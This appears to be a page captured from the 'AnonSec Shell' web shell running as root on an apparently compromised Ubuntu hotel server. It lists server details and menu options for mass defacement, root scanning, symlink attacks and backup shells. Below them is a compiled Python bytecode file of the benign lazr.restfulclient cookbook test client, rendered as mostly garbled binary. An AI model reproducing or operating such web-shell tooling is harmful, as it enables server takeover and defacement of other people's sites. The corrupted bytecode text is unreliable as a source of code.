AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/lazr/restfulclient/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/lazr/restfulclient/tests/__pycache__/example.cpython-310.pyc
o

���T��@s�dZeZdgZzddlmZWneyddlmZYnwddlm	Z	m
Z
Gdd�de	�ZGdd�de	�ZGd	d�de
�Z
d
S)z5Test client for the lazr.restful example web service.�CookbookWebServiceClient�)�quote)�CollectionWithKeyBasedLookup�ServiceRootc@�eZdZdZdd�ZdZdS)�CookbookSetz>A custom subclass capable of cookbook lookup by cookbook name.cCs t|jj���dtt|��S)z>Transform a cookbook name into the URL to a cookbook resource.z
cookbooks/)�str�_root�	_root_uri�ensureSlashr��self�id�r�B/usr/lib/python3/dist-packages/lazr/restfulclient/tests/example.py�_get_url_from_id%s
�
�zCookbookSet._get_url_from_id�cookbookN��__name__�
__module__�__qualname__�__doc__r�
collection_ofrrrrr"src@r)�	RecipeSetz8A custom subclass capable of recipe lookup by recipe ID.cCst|jj���dt|�S)z8Transform a recipe ID into the URL to a recipe resource.zrecipes/)rr	r
rrrrrr0szRecipeSet._get_url_from_id�recipeNrrrrrr-srcsFeZdZeej�Zeed<eed<dZdZ	ee	df�fdd�	Z
�ZS)r�recipes�	cookbookszhttp://cookbooks.dev/z1.0Ncstt|�jd|||d�dS)N)�cache�version)�superr�__init__)r
�service_rootrr��	__class__rrr @s

�z!CookbookWebServiceClient.__init__)rrr�dictr�RESOURCE_TYPE_CLASSESrr�DEFAULT_SERVICE_ROOT�DEFAULT_VERSIONr �
__classcell__rrr"rr7s
�N)r�type�
__metaclass__�__all__�urllib.parser�ImportError�urllib�lazr.restfulclient.resourcerrrrrrrrr�<module>s��

Anon7 - 2022
AnonSec Team